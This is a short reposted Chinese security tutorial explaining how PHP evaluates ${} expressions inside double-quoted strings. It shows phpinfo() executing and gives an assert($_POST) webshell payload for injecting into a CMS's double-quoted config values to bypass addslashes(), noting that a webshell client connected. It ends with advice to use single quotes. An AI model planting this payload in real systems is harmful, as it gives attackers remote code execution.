php双引号解析漏洞
生活随笔
收集整理的這篇文章主要介紹了
php双引号解析漏洞
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
1|0前言
在PHP語言中,單引號和雙引號都可以表示一個字符串,但是對于雙引號來說,可能會對引號內的內容進行二次解釋,這就可能會出現安全問題。
條件:php版本>5.5
2|0正文
舉個簡單例子
<?php $a = 1; $b = 2; echo '$a$b';//輸出結果為$a$b echo "$a$b";//輸出結果為12 ?>可以看到這兩個輸出的結果并不相同。
在雙引號中倘若有${}出現,那么{}內的內容將被當做代碼塊來執行。
可以看到成功執行了phpinfo()
試想一下,倘若在一個cms的后臺,可以修改數據庫的配置文件,且配置文件中的值用雙引號包括,我們雖然也可以直接閉合代碼達到getshell的后果,但是如果cms對傳遞的參數進行了addlashes()處理的話,我們就無法去閉合代碼了,但這時我們可以傳入${命令}就可以達到getshell的目的。
現在,讓我們來修改一下代碼,讓我們不只能輸出phpinfo
<?php echo "${@assert($_POST[a])}";?> //@是用來防止輸出錯誤信息的
菜刀成功連接
3|0總結
本文簡單記錄了雙引號可能會引發的代碼執行的情況
對于這種漏洞的防御,一定要明確單引號與雙引號的區別所在,不要簡單認為兩者是互相可以替代的,在平時的代碼書寫中能只用單引號一定不要用雙引號,畢竟單引號的解釋時間也比雙引號少得多,代碼運行相對更快。
總結
以上是生活随笔為你收集整理的php双引号解析漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Web安全-伪静态网页
- 下一篇: 代码审计之SQL注入:BlueCMSv1